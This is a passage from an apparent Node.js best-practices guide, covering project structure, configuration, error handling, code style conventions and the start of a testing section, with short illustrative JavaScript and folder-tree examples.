`#strategic`](#-52-increase-the-observability-using-smart-logging)</br> &emsp;&emsp;[5.3. Delegate anything possible (e.g. gzip, SSL) to a reverse proxy `#strategic`](#-53-delegate-anything-possible-eg-gzip-ssl-to-a-reverse-proxy)</br> &emsp;&emsp;[5.4. Lock dependencies](#-54-lock-dependencies)</br> &emsp;&emsp;[5.5. Guard process uptime using the right tool](#-55-guard-process-uptime-using-the-right-tool)</br> &emsp;&emsp;[5.6. Utilize all CPU cores](#-56-utilize-all-cpu-cores)</br> &emsp;&emsp;[5.7. Create a ‘maintenance endpoint’](#-57-create-a-maintenance-endpoint)</br> &emsp;&emsp;[5.8. Discover the unknowns using APM products `#advanced` `#updated`](#-58-discover-the-unknowns-using-apm-products)</br> &emsp;&emsp;[5.9. Make your code production-ready](#-59-make-your-code-production-ready)</br> &emsp;&emsp;[5.10. Measure and guard the memory usage `#advanced`](#-510-measure-and-guard-the-memory-usage)</br> &emsp;&emsp;[5.11. Get your frontend assets out of Node](#-511-get-your-frontend-assets-out-of-node)</br> &emsp;&emsp;[5.12. Strive to be stateless `#strategic`](#-512-strive-to-be-stateless)</br> &emsp;&emsp;[5.13. Use tools that automatically detect vulnerabilities](#-513-use-tools-that-automatically-detect-vulnerabilities)</br> &emsp;&emsp;[5.14. Assign a transaction id to each log statement `#advanced`](#-514-assign-a-transaction-id-to-each-log-statement)</br> &emsp;&emsp;[5.15. Set NODE_ENV=production](#-515-set-node_envproduction)</br> &emsp;&emsp;[5.16. Design automated, atomic and zero-downtime deployments `#advanced`](#-516-design-automated-atomic-and-zero-downtime-deployments)</br> &emsp;&emsp;[5.17. Use an LTS release of Node.js](#-517-use-an-lts-release-of-nodejs)</br> &emsp;&emsp;[5.18. Log to stdout, avoid specifying log destination within the app `#updated`](#-518-log-to-stdout-avoid-specifying-log-destination-within-the-app)</br> &emsp;&emsp;[5.19. Install your packages with npm ci `#new`](#-519-install-your-packages-with-npm-ci)</br> </details> <details> <summary> <a href="#6-security-best-practices">6. Security Practices (25)</a> </summary> &emsp;&emsp;[6.1. Embrace linter security rules](#-61-embrace-linter-security-rules)</br> &emsp;&emsp;[6.2. Limit concurrent requests using a middleware](#-62-limit-concurrent-requests-using-a-middleware)</br> &emsp;&emsp;[6.3 Extract secrets from config files or use packages to encrypt them `#strategic`](#-63-extract-secrets-from-config-files-or-use-packages-to-encrypt-them)</br> &emsp;&emsp;[6.4. Prevent query injection vulnerabilities with ORM/ODM libraries `#strategic`](#-64-prevent-query-injection-vulnerabilities-with-ormodm-libraries)</br> &emsp;&emsp;[6.5. Collection of generic security best practices](#-65-collection-of-generic-security-best-practices)</br> &emsp;&emsp;[6.6. Adjust the HTTP response headers for enhanced security](#-66-adjust-the-http-response-headers-for-enhanced-security)</br> &emsp;&emsp;[6.7. Constantly and automatically inspect for vulnerable dependencies `#strategic`](#-67-constantly-and-automatically-inspect-for-vulnerable-dependencies)</br> &emsp;&emsp;[6.8. Protect Users' Passwords/Secrets using bcrypt or scrypt `#strategic`](#-68-protect-users-passwordssecrets-using-bcrypt-or-scrypt)</br> &emsp;&emsp;[6.9. Escape HTML, JS and CSS output](#-69-escape-html-js-and-css-output)</br> &emsp;&emsp;[6.10. Validate incoming JSON schemas `#strategic`](#-610-validate-incoming-json-schemas)</br> &emsp;&emsp;[6.11. Support blocklisting JWTs](#-611-support-blocklisting-jwts)</br> &emsp;&emsp;[6.12. Prevent brute-force attacks against authorization `#advanced`](#-612-prevent-brute-force-attacks-against-authorization)</br> &emsp;&emsp;[6.13. Run Node.js as non-root user](#-613-run-nodejs-as-non-root-user)</br> &emsp;&emsp;[6.14. Limit payload size using a reverse-proxy or a middleware](#-614-limit-payload-size-using-a-reverse-proxy-or-a-middleware)</br> &emsp;&emsp;[6.15. Avoid JavaScript eval statements](#-615-avoid-javascript-eval-statements)</br> &emsp;&emsp;[6.16. Prevent evil RegEx from overloading your single thread execution](#-616-prevent-evil-regex-from-overloading-your-single-thread-execution)</br> &emsp;&emsp;[6.17. Avoid module loading using a variable](#-617-avoid-module-loading-using-a-variable)</br> &emsp;&emsp;[6.18. Run unsafe code in a sandbox](#-618-run-unsafe-code-in-a-sandbox)</br> &emsp;&emsp;[6.19. Take extra care when working with child processes `#advanced`](#-619-take-extra-care-when-working-with-child-processes)</br> &emsp;&emsp;[6.20. Hide error details from clients](#-620-hide-error-details-from-clients)</br> &emsp;&emsp;[6.21. Configure 2FA for npm or Yarn `#strategic`](#-621-configure-2fa-for-npm-or-yarn)</br> &emsp;&emsp;[6.22. Modify session middleware settings](#-622-modify-session-middleware-settings)</br> &emsp;&emsp;[6.23. Avoid DOS attacks by explicitly setting when a process should crash `#advanced`](#-623-avoid-dos-attacks-by-explicitly-setting-when-a-process-should-crash)</br> &emsp;&emsp;[6.24. Prevent unsafe redirects](#-624-prevent-unsafe-redirects)</br> &emsp;&emsp;[6.25. Avoid publishing secrets to the npm registry](#-625-avoid-publishing-secrets-to-the-npm-registry)</br> &emsp;&emsp;[6.26. 6.26 Inspect for outdated packages](#-626-inspect-for-outdated-packages)</br> &emsp;&emsp;[6.27. Import built-in modules using the 'node:' protocol `#new`](#-627-import-built-in-modules-using-the-node-protocol)</br> </details> <details> <summary> <a href="#7-draft-performance-best-practices">7. Performance Practices (2) (Work In Progress️ ✍️)</a> </summary> &emsp;&emsp;[7.1. Don't block the event loop](#-71-dont-block-the-event-loop)</br> &emsp;&emsp;[7.2. Prefer native JS methods over user-land utils like Lodash](#-72-prefer-native-js-methods-over-user-land-utils-like-lodash)</br> </details> <details> <summary> <a href="#8-docker-best-practices">8. Docker Practices (15)</a> </summary> &emsp;&emsp;[8.1 Use multi-stage builds for leaner and more secure Docker images `#strategic`](#-81-use-multi-stage-builds-for-leaner-and-more-secure-docker-images)</br> &emsp;&emsp;[8.2. Bootstrap using node command, avoid npm start](#-82-bootstrap-using-node-command-avoid-npm-start)</br> &emsp;&emsp;[8.3. Let the Docker runtime handle replication and uptime `#strategic`](#-83-let-the-docker-runtime-handle-replication-and-uptime)</br> &emsp;&emsp;[8.4. Use .dockerignore to prevent leaking secrets](#-84-use-dockerignore-to-prevent-leaking-secrets)</br> &emsp;&emsp;[8.5. Clean-up dependencies before production](#-85-clean-up-dependencies-before-production)</br> &emsp;&emsp;[8.6. Shutdown smartly and gracefully `#advanced`](#-86-shutdown-smartly-and-gracefully)</br> &emsp;&emsp;[8.7. Set memory limits using both Docker and v8 `#advanced` `#strategic`](#-87-set-memory-limits-using-both-docker-and-v8)</br> &emsp;&emsp;[8.8. Plan for efficient caching](#-88-plan-for-efficient-caching)</br> &emsp;&emsp;[8.9. Use explicit image reference, avoid latest tag](#-89-use-explicit-image-reference-avoid-latest-tag)</br> &emsp;&emsp;[8.10. Prefer smaller Docker base images](#-810-prefer-smaller-docker-base-images)</br> &emsp;&emsp;[8.11. Clean-out build-time secrets, avoid secrets in args `#strategic #new`](#-811-clean-out-build-time-secrets-avoid-secrets-in-args)</br> &emsp;&emsp;[8.12. Scan images for multi layers of vulnerabilities `#advanced`](#-812-scan-images-for-multi-layers-of-vulnerabilities)</br> &emsp;&emsp;[8.13 Clean NODE_MODULE cache](#-813-clean-node_module-cache)</br> &emsp;&emsp;[8.14. Generic Docker practices](#-814-generic-docker-practices)</br> &emsp;&emsp;[8.15. Lint your Dockerfile `#new`](#-815-lint-your-dockerfile)</br> </details> <br/><br/> # `1. Project Architecture Practices` ## ![✔] 1.1 Structure your solution by business components ### `📝 #updated` **TL;DR:** The root of a system should contain folders or repositories that represent reasonably sized business modules. Each component represents a product domain (i.e., bounded context), like 'user-component', 'order-component', etc. Each component has its own API, logic, and logical database. What is the significant merit? With an autonomous component, every change is performed over a granular and smaller scope - the mental overload, development friction, and deployment fear are much smaller and better. As a result, developers can move much faster. This does not necessarily demand physical separation and can be achieved using a Monorepo or with a multi-repo ```bash my-system ├─ apps (components) │ ├─ orders │ ├─ users │ ├─ payments ├─ libraries (generic cross-component functionality) │ ├─ logger │ ├─ authenticator ``` **Otherwise:** when artifacts from various modules/topics are mixed together, there are great chances of a tightly-coupled 'spaghetti' system. For example, in an architecture where 'module-a controller' might call 'module-b service', there are no clear modularity borders - every code change might affect anything else. With this approach, developers who code new features struggle to realize the scope and impact of their change. Consequently, they fear breaking other modules, and each deployment becomes slower and riskier 🔗 [**Read More: structure by components**](./sections/projectstructre/breakintcomponents.md) <br/><br/> ## ![✔] 1.2 Layer your components with 3-tiers, keep the web layer within its boundaries ### `📝 #updated` **TL;DR:** Each component should contain 'layers' - a dedicated folder for common concerns: 'entry-point' where controller lives, 'domain' where the logic lives, and 'data-access'. The primary principle of the most popular architectures is to separate the technical concerns (e.g., HTTP, DB, etc) from the pure logic of the app so a developer can code more features without worrying about infrastructural concerns. Putting each concern in a dedicated folder, also known as the [3-Tier pattern](https://en.wikipedia.org/wiki/Multitier_architecture), is the _simplest_ way to meet this goal ```bash my-system ├─ apps (components) │ ├─ component-a │ ├─ entry-points │ │ ├─ api # controller comes here │ │ ├─ message-queue # message consumer comes here │ ├─ domain # features and flows: DTO, services, logic │ ├─ data-access # DB calls w/o ORM ``` **Otherwise:** It's often seen that developer pass web objects like request/response to functions in the domain/logic layer - this violates the separation principle and makes it harder to access later the the logic code by other clients like testing code, scheduled jobs, message queues, etc 🔗 [**Read More: layer your app**](./sections/projectstructre/createlayers.md) <br/><br/> ## ![✔] 1.3 Wrap common utilities as packages, consider publishing **TL;DR:** Place all reusable modules in a dedicated folder, e.g., "libraries", and underneath each module in its own folder, e.g., "/libraries/logger". Make the module an independent package with its own package.json file to increases the module encapsulation, and allows future publishing to a repository. In a Monorepo setup, modules can be consumed by 'npm linking' to their physical paths, using ts-paths or by publishing and installing from a package manager repository like the npm registry ```bash my-system ├─ apps (components) │ ├─ component-a ├─ libraries (generic cross-component functionality) │ ├─ logger │ │ ├─ package.json │ │ ├─ src │ │ │ ├─ index.js ``` **Otherwise:** Clients of a module might import and get coupled to internal functionality of a module. With a package.json at the root, one can set a package.json.main or package.json.exports to explicitly tell which files and functions are part of the public interface 🔗 [**Read More: Structure by feature**](./sections/projectstructre/wraputilities.md) <br/><br/> ## ![✔] 1.4 Use environment aware, secure and hierarchical config ### `📝 #updated` **TL;DR:** A flawless configuration setup should ensure (a) keys can be read from file AND from environment variable (b) secrets are kept outside committed code (c) config is hierarchical for easier findability (d) typing support (e) validation for failing fast (f) Specify default for each key. There are a few packages that can help tick most of those boxes like [convict](https://www.npmjs.com/package/convict), [env-var](https://github.com/evanshortiss/env-var), [zod](https://github.com/colinhacks/zod), and others **Otherwise:** Consider a mandatory environment variable that wasn't provided. The app starts successfully and serve requests, some information is already persisted to DB. Then, it's realized that without this mandatory key the request can't complete, leaving the app in a dirty state 🔗 [**Read More: configuration best practices**](./sections/projectstructre/configguide.md) <br/><br/> ## ![✔] 1.5 Consider all the consequences when choosing the main framework ### `🌟 #new` **TL;DR:** When building apps and APIs, using a framework is mandatory. It's easy to overlook alternative frameworks or important considerations and then finally land on a sub optimal option. As of 2023/2024, we believe that these four frameworks are worth considering: [Nest.js](https://nestjs.com/), [Fastify](https://www.fastify.io/), [express](https://expressjs.com/), and [Koa](https://koajs.com/). Click read more below for a detailed pros/cons of each framework. Simplistically, we believe that Nest.js is the best match for teams who wish to go OOP and/or build large-scale apps that can't get partitioned into smaller _autonomous_ components. Fastify is our recommendation for apps with reasonably-sized components (e.g., Microservices) that are built around simple Node.js mechanics. Read our [full considerations guide here](./sections/projectstructre/choose-framework.md) **Otherwise:** Due to the overwhelming amount of considerations, it's easy to make decisions based on partial information and compare apples with oranges. For example, it's believed that Fastify is a minimal web-server that should get compared with express only. In reality, it's a rich framework with many official plugins that cover many concerns 🔗 [**Read More: Choosing the right framework**](./sections/projectstructre/choose-framework.md) ## ![✔] 1.6 Use TypeScript sparingly and thoughtfully ### `🌟 #new` **TL;DR:** Coding without type safety is no longer an option, TypeScript is the most popular option for this mission. Use it to define variables and functions return types. With that, it is also a double edge sword that can greatly _encourage_ complexity with its additional ~ 50 keywords and sophisticated features. Consider using it sparingly, mostly with simple types, and utilize advanced features only when a real need arises **Otherwise:** [Researches](https://earlbarr.com/publications/typestudy.pdf) show that using TypeScript can help in detecting ~20% bugs earlier. Without it, also the developer experience in the IDE is intolerable. On the flip side, 80% of other bugs were not discovered using types. Consequently, typed syntax is valuable but limited. Only efficient tests can discover the whole spectrum of bugs, including type-related bugs. It might also defeat its purpose: sophisticated code features are likely to increase the code complexity, which by itself increases both the amount of bugs and the average bug fix time 🔗 [**Read More: TypeScript considerations**](./sections/projectstructre/typescript-considerations.md) <br/><br/><br/> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # `2. Error Handling Practices` ## ![✔] 2.1 Use Async-Await or promises for async error handling **TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using Promises with async-await which enables a much more compact and familiar code syntax like try-catch **Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting, and awkward coding patterns 🔗 [**Read More: avoiding callbacks**](./sections/errorhandling/asyncerrorhandling.md) <br/><br/> ## ![✔] 2.2 Extend the built-in Error object ### `📝 #updated` **TL;DR:** Some libraries throw errors as a string or as some custom type – this complicates the error handling logic and the interoperability between modules. Instead, create app error object/class that extends the built-in Error object and use it whenever rejecting, throwing or emitting an error. The app error should add useful imperative properties like the error name/code and isCatastrophic. By doing so, all errors have a unified structure and support better error handling .There is `no-throw-literal` ESLint rule that strictly checks that (although it has some [limitations](https://eslint.org/docs/rules/no-throw-literal) which can be solved when using TypeScript and setting the `@typescript-eslint/no-throw-literal` rule) **Otherwise:** When invoking some component, being uncertain which type of errors come in return – it makes proper error handling much harder. Even worse, using custom types to describe errors might lead to loss of critical error information like the stack trace! 🔗 [**Read More: using the built-in error object**](./sections/errorhandling/useonlythebuiltinerror.md) <br/><br/> ## ![✔] 2.3 Distinguish catastrophic errors from operational errors ### `📝 #updated` **TL;DR:** Operational errors (e.g. API received an invalid input) refer to known cases where the error impact is fully understood and can be handled thoughtfully. On the other hand, catastrophic error (also known as programmer errors) refers to unusual code failures that dictate to gracefully restart the application **Otherwise:** You may always restart the application when an error appears, but why let ~5000 online users down because of a minor, predicted, operational error? The opposite is also not ideal – keeping the application up when an unknown catastrophic issue (programmer error) occurred might lead to an unpredicted behavior. Differentiating the two allows acting tactfully and applying a balanced approach based on the given context 🔗 [**Read More: operational vs programmer error**](./sections/errorhandling/operationalvsprogrammererror.md) <br/><br/> ## ![✔] 2.4 Handle errors centrally, not within a middleware **TL;DR:** Error handling logic such as logging, deciding whether to crash and monitoring metrics should be encapsulated in a dedicated and centralized object that all entry-points (e.g. APIs, cron jobs, scheduled jobs) call when an error comes in **Otherwise:** Not handling errors within a single place will lead to code duplication and probably to improperly handled errors 🔗 [**Read More: handling errors in a centralized place**](./sections/errorhandling/centralizedhandling.md) <br/><br/> ## ![✔] 2.5 Document API errors using OpenAPI or GraphQL **TL;DR:** Let your API callers know which errors might come in return so they can handle these thoughtfully without crashing. For RESTful APIs, this is usually done with documentation frameworks like OpenAPI. If you're using GraphQL, you can utilize your schema and comments as well **Otherwise:** An API client might decide to crash and restart only because it received back an error it couldn’t understand. Note: the caller of your API might be you (very typical in a microservice environment) 🔗 [**Read More: documenting API errors in Swagger or GraphQL**](./sections/errorhandling/documentingusingswagger.md) <br/><br/> ## ![✔] 2.6 Exit the process gracefully when a stranger comes to town **TL;DR:** When an unknown error occurs (catastrophic error, see best practice 2.3) - there is uncertainty about the application healthiness. In this case, there is no escape from making the error observable, shutting off connections and exiting the process. Any reputable runtime framework like Dockerized services or cloud serverless solutions will take care to restart **Otherwise:** When an unfamiliar exception occurs, some object might be in a faulty state (e.g. an event emitter which is used globally and not firing events anymore due to some internal failure) and all future requests might fail or behave crazily 🔗 [**Read More: shutting the process**](./sections/errorhandling/shuttingtheprocess.md) <br/><br/> ## ![✔] 2.7 Use a mature logger to increase errors visibility ### `📝 #updated` **TL;DR:** A robust logging tools like [Pino](https://github.com/pinojs/pino) or [Winston](https://github.com/winstonjs/winston) increases the errors visibility using features like log-levels, pretty print coloring and more. Console.log lacks these imperative features and should be avoided. The best in class logger allows attaching custom useful properties to log entries with minimized serialization performance penalty. Developers should write logs to `stdout` and let the infrastructure pipe the stream to the appropriate log aggregator **Otherwise:** Skimming through console.logs or manually through messy text file without querying tools or a decent log viewer might keep you busy at work until late 🔗 [**Read More: using a mature logger**](./sections/errorhandling/usematurelogger.md) <br/><br/> ## ![✔] 2.8 Test error flows using your favorite test framework ### `📝 #updated` **TL;DR:** Whether professional automated QA or plain manual developer testing – Ensure that your code not only satisfies positive scenarios but also handles and returns the right errors. On top of this, simulate deeper error flows like uncaught exceptions an ensure that the error handler treat these properly (see code examples within the "read more" section) **Otherwise:** Without testing, whether automatically or manually, you can’t rely on your code to return the right errors. Without meaningful errors – there’s no error handling 🔗 [**Read More: testing error flows**](./sections/errorhandling/testingerrorflows.md) <br/><br/> ## ![✔] 2.9 Discover errors and downtime using APM products **TL;DR:** Monitoring and performance products (a.k.a APM) proactively gauge your codebase or API so they can automagically highlight errors, crashes, and slow parts that you were missing **Otherwise:** You might spend great effort on measuring API performance and downtimes, probably you’ll never be aware which are your slowest code parts under real-world scenario and how these affect the UX 🔗 [**Read More: using APM products**](./sections/errorhandling/apmproducts.md) <br/><br/> ## ![✔] 2.10 Catch unhandled promise rejections ### `📝 #updated` **TL;DR:** Any exception thrown within a promise will get swallowed and discarded unless a developer didn’t forget to explicitly handle it. Even if your code is subscribed to `process.uncaughtException`! Overcome this by registering to the event `process.unhandledRejection` **Otherwise:** Your errors will get swallowed and leave no trace. Nothing to worry about 🔗 [**Read More: catching unhandled promise rejection**](./sections/errorhandling/catchunhandledpromiserejection.md) <br/><br/> ## ![✔] 2.11 Fail fast, validate arguments using a dedicated library **TL;DR:** Assert API input to avoid nasty bugs that are much harder to track later. The validation code is usually tedious unless you are using a modern validation library like [ajv](https://www.npmjs.com/package/ajv), [zod](https://github.com/colinhacks/zod), or [typebox](https://github.com/sinclairzx81/typebox) **Otherwise:** Consider this – your function expects a numeric argument “Discount” which the caller forgets to pass, later on, your code checks if Discount!=0 (amount of allowed discount is greater than zero), then it will allow the user to enjoy a discount. OMG, what a nasty bug. Can you see it? 🔗 [**Read More: failing fast**](./sections/errorhandling/failfast.md) <br/><br/> ## ![✔] 2.12 Always await promises before returning to avoid a partial stacktrace ### `🌟 #new` **TL;DR:** Always do `return await` when returning a promise to benefit full error stacktrace. If a function returns a promise, that function must be declared as `async` function and explicitly `await` the promise before returning it **Otherwise:** The function that returns a promise without awaiting won't appear in the stacktrace. Such missing frames would probably complicate the understanding of the flow that leads to the error, especially if the cause of the abnormal behavior is inside of the missing function 🔗 [**Read More: returning promises**](./sections/errorhandling/returningpromises.md) <br/><br/> ## ![✔] 2.13 Subscribe to event emitters and streams 'error' event ### `🌟 #new` **TL;DR:** Unlike typical functions, a try-catch clause won't get errors that originate from Event Emitters and anything inherited from it (e.g., streams). Instead of try-catch, subscribe to an event emitter's 'error' event so your code can handle the error in context. When dealing with [EventTargets](https://nodejs.org/api/events.html#eventtarget-and-event-api) (the web standard version of Event Emitters) there are no 'error' event and all errors end in the process.on('error) global event - in this case, at least ensure that the process crash or not based on the desired context. Also, mind that error originating from _asynchronous_ event handlers are not get caught unless the event emitter is initialized with {captureRejections: true} **Otherwise:** Event emitters are commonly used for global and key application functionality such as DB or message queue connection. When this kind of crucial objects throw an error, at best the process will crash due to unhandled exception. Even worst, it will stay alive as a zombie while a key functionality is turned off <br/><br/><br/> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # `3. Code Patterns And Style Practices` ## ![✔] 3.1 Use ESLint **TL;DR:** [ESLint](https://eslint.org) is the de-facto standard for checking possible code errors and fixing code style, not only to identify nitty-gritty spacing issues but also to detect serious code anti-patterns like developers throwing errors without classification. Though ESLint can automatically fix code styles, other tools like [prettier](https://www.npmjs.com/package/prettier) are more powerful in formatting the fix and work in conjunction with ESLint **Otherwise:** Developers will focus on tedious spacing and line-width concerns and time might be wasted overthinking the project's code style 🔗 [**Read More: Using ESLint and Prettier**](./sections/codestylepractices/eslint_prettier.md) <br/><br/> ## ![✔] 3.2 Use Node.js eslint extension plugins ### `📝 #updated` **TL;DR:** On top of ESLint standard rules that cover vanilla JavaScript, add Node.js specific plugins like [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) and [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security), [eslint-plugin-require](https://www.npmjs.com/package/eslint-plugin-require), [/eslint-plugin-jest](https://www.npmjs.com/package/eslint-plugin-jest) and other useful rules **Otherwise:** Many faulty Node.js code patterns might escape under the radar. For example, developers might require(variableAsPath) files with a variable given as a path which allows attackers to execute any JS script. Node.js linters can detect such patterns and complain early <br/><br/> ## ![✔] 3.3 Start a Codeblock's Curly Braces on the Same Line **TL;DR:** The opening curly braces of a code block should be on the same line as the opening statement ### Code Example ```javascript // Do function someFunction() { // code block } // Avoid function someFunction() { // code block } ``` **Otherwise:** Deferring from this best practice might lead to unexpected results, as seen in the StackOverflow thread below: 🔗 [**Read more:** "Why do results vary based on curly brace placement?" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement) <br/><br/> ## ![✔] 3.4 Separate your statements properly No matter if you use semicolons or not to separate your statements, knowing the common pitfalls of improper linebreaks or automatic semicolon insertion, will help you to eliminate regular syntax errors. **TL;DR:** Use ESLint to gain awareness about separation concerns. [Prettier](https://prettier.io/) or [Standardjs](https://standardjs.com/) can automatically resolve these issues. **Otherwise:** As seen in the previous section, JavaScript's interpreter automatically adds a semicolon at the end of a statement if there isn't one, or considers a statement as not ended where it should, which might lead to some undesired results. You can use assignments and avoid using immediately invoked function expressions to prevent most of the unexpected errors. ### Code example ```javascript // Do function doThing() { // ... } doThing() // Do const items = [1, 2, 3] items.forEach(console.log) // Avoid — throws exception const m = new Map() const a = [1,2,3] [...m.values()].forEach(console.log) > [...m.values()].forEach(console.log) > ^^^ > SyntaxError: Unexpected token ... // Avoid — throws exception const count = 2 // it tries to run 2(), but 2 is not a function (function doSomething() { // do something amazing }()) // put a semicolon before the immediate invoked function, after the const definition, save the return value of the anonymous function to a variable or avoid IIFEs altogether ``` 🔗 [**Read more:** "Semi ESLint rule"](https://eslint.org/docs/rules/semi) 🔗 [**Read more:** "No unexpected multiline ESLint rule"](https://eslint.org/docs/rules/no-unexpected-multiline) <br/><br/> ## ![✔] 3.5 Name your functions **TL;DR:** Name all functions, including closures and callbacks. Avoid anonymous functions. This is especially useful when profiling a node app. Naming all functions will allow you to easily understand what you're looking at when checking a memory snapshot **Otherwise:** Debugging production issues using a core dump (memory snapshot) might become challenging as you notice significant memory consumption from anonymous functions <br/><br/> ## ![✔] 3.6 Use naming conventions for variables, constants, functions and classes **TL;DR:** Use **_lowerCamelCase_** when naming constants, variables and functions, **_UpperCamelCase_** (capital first letter as well) when naming classes and **_UPPER_SNAKE_CASE_** when naming global or static variables. This will help you to easily distinguish between plain variables, functions, classes that require instantiation and variables declared at global module scope. Use descriptive names, but try to keep them short **Otherwise:** JavaScript is the only language in the world that allows invoking a constructor ("Class") directly without instantiating it first. Consequently, Classes and function-constructors are differentiated by starting with UpperCamelCase ### 3.6 Code Example ```javascript // for global variables names we use the const/let keyword and UPPER_SNAKE_CASE let MUTABLE_GLOBAL = "mutable value"; const GLOBAL_CONSTANT = "immutable value"; const CONFIG = { key: "value", }; // examples of UPPER_SNAKE_CASE convention in nodejs/javascript ecosystem // in javascript Math.PI module const PI = 3.141592653589793; // https://github.com/nodejs/node/blob/b9f36062d7b5c5039498e98d2f2c180dca2a7065/lib/internal/http2/core.js#L303 // in nodejs http2 module const HTTP_STATUS_OK = 200; const HTTP_STATUS_CREATED = 201; // for class name we use UpperCamelCase class SomeClassExample { // for static class properties we use UPPER_SNAKE_CASE static STATIC_PROPERTY = "value"; } // for functions names we use lowerCamelCase function doSomething() { // for scoped variable names we use the const/let keyword and lowerCamelCase const someConstExample = "immutable value"; let someMutableExample = "mutable value"; } ``` <br/><br/> ## ![✔] 3.7 Prefer const over let. Ditch the var **TL;DR:** Using `const` means that once a variable is assigned, it cannot be reassigned. Preferring `const` will help you to not be tempted to use the same variable for different uses, and make your code clearer. If a variable needs to be reassigned, in a for loop, for example, use `let` to declare it. Another important aspect of `let` is that a variable declared using it is only available in the block scope in which it was defined. `var` is function scoped, not block-scoped, and [shouldn't be used in ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) now that you have `const` and `let` at your disposal **Otherwise:** Debugging becomes way more cumbersome when following a variable that frequently changes 🔗 [**Read more: JavaScript ES6+: var, let, or const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75) <br/><br/> ## ![✔] 3.8 Require modules first, not inside functions **TL;DR:** Require modules at the beginning of each file, before and outside of any functions. This simple best practice will not only help you easily and quickly tell the dependencies of a file right at the top but also avoids a couple of potential problems **Otherwise:** Requires are run synchronously by Node.js. If they are called from within a function, it may block other requests from being handled at a more critical time. Also, if a required module or any of its dependencies throw an error and crash the server, it is best to find out about it as soon as possible, which might not be the case if that module is required from within a function <br/><br/> ## ![✔] 3.9 Set an explicit entry point to a module/folder ### `📝 #updated` **TL;DR:** When developing a module/library, set an explicit root file that exports the public and interesting code. Discourage the client code from importing deep files and becoming familiar with the internal structure. With commonjs (require), this can be done with an index.js file at the folder's root or the package.json.main field. With ESM (import), if a package.json exists on the root, the field "exports" allow specifying the module's root file. If no package.json exists, you may put an index.js file on the root which re-exports all the public functionality **Otherwise:** Having an explicit root file acts like a public 'interface' that encapsulates the internal, directs the caller to the public code and facilitates future changes without breaking the contract ### 3.9 Code example - avoid coupling the client to the module structure ```javascript // Avoid: client has deep familiarity with the internals // Client code const SMSWithMedia = require("./SMSProvider/providers/media/media-provider.js"); // Better: explicitly export the public functions //index.js, module code module.exports.SMSWithMedia = require("./SMSProvider/providers/media/media-provider.js"); // Client code const { SMSWithMedia } = require("./SMSProvider"); ``` <br/><br/> ## ![✔] 3.10 Use the `===` operator **TL;DR:** Prefer the strict equality operator `===` over the weaker abstract equality operator `==`. `==` will compare two variables after converting them to a common type. There is no type conversion in `===`, and both variables must be of the same type to be equal **Otherwise:** Unequal variables might return true when compared with the `==` operator ### 3.10 Code example ```javascript "" == "0"; // false 0 == ""; // true 0 == "0"; // true false == "false"; // false false == "0"; // true false == undefined; // false false == null; // false null == undefined; // true " \t\r\n " == 0; // true ``` All statements above will return false if used with `===` <br/><br/> ## ![✔] 3.11 Use Async Await, avoid callbacks **TL;DR:** Async-await is the simplest way to express an asynchronous flow as it makes asynchronous code look synchronous. Async-await will also result in much more compact code and support for try-catch. This technique now supersedes callbacks and promises in _most_ cases. Using it in your code is probably the best gift one can give to the code reader **Otherwise:** Handling async errors in callback style are probably the fastest way to hell - this style forces to check errors all over, deal with awkward code nesting, and makes it difficult to reason about the code flow 🔗[**Read more:** Guide to async-await 1.0](https://github.com/yortus/asyncawait) <br/><br/> ## ![✔] 3.12 Use arrow function expressions (=>) **TL;DR:** Though it's recommended to use async-await and avoid function parameters when dealing with older APIs that accept promises or callbacks - arrow functions make the code structure more compact and keep the lexical context of the root function (i.e. `this`) **Otherwise:** Longer code (in ES5 functions) is more prone to bugs and cumbersome to read 🔗 [**Read more: It’s Time to Embrace Arrow Functions**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75) <br/><br/> ## ![✔] 3.13 Avoid effects outside of functions ### `🌟 #new` **TL;DR:** Avoid putting code with effects like network or DB calls outside of functions. Such a code will be executed immediately when another file requires the file. This 'floating' code might get executed when the underlying system is not ready yet. It also comes with a performance penalty even when this module's functions will finally not be used in runtime. Last, mocking these DB/network calls for testing is harder outside of functions. Instead, put this code inside functions that should get called explicitly. If some DB/network code must get executed right when the module loads, consider using the factory or revealing module patterns **Otherwise:** A typical web framework sets error handler, environment variables and monitoring. When DB/network calls are made before the web framework is initialized, they won't be monitored or fail due to a lack of configuration data <br/><br/><br/> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # `4. Testing And Overall Quality Practices` \_We have dedicated guides for testing, see below. The best practices list here is a brief summary of these guides a. [JavaScript testing best practices](https://github.com/goldbergyoni/javascript-testing-best-practices) b. [Node.js testing - beyond the basics](https://github.com/testjavascript/nodejs-integration-tests-best-practices) \_ ## ![✔] 4.1 At the very least, write API (component) testing **TL;DR:** Most projects just don't have any automated testing due to short timetables or often the 'testing project' ran out of control and was abandoned. For that reason, prioritize and start with API testing which is the easiest way to write and provides more coverage than unit testing (you may even craft API tests without code using tools like [Postman](https://www.getpostman.com/)). Afterwards, should you have more resources and time, continue with advanced test types like unit testing, DB testing, performance testing, etc **Otherwise:** You may spend long days on writing unit tests to find out that you got only 20% system coverage <br/><br/> ## ![✔] 4.2 Include 3 parts in each test name ### `🌟 #new` **TL;DR:** Make the test speak at the requirements level so it's self-explanatory also to QA engineers and developers who are not familiar with the code internals. State in the test name what is being tested (unit under test), under what circumstances, and what is the expected result **Otherwise:** A deployment just failed, a test named “Add product” failed. Does this tell you what exactly is malfunctioning? 🔗 [**Read More: Include 3 parts in each test name**](./sections/testingandquality/3-parts-in-name.md) <br/><br/> ## ![✔] 4.3 Structure tests by the AAA pattern ### `🌟 #new` **TL;DR:** Structure your tests with 3 well-separated sections: Arrange, Act & Assert (AAA). The first part includes the test setup, then the execution of the unit under test, and finally the assertion phase. Following this structure guarantees that the reader 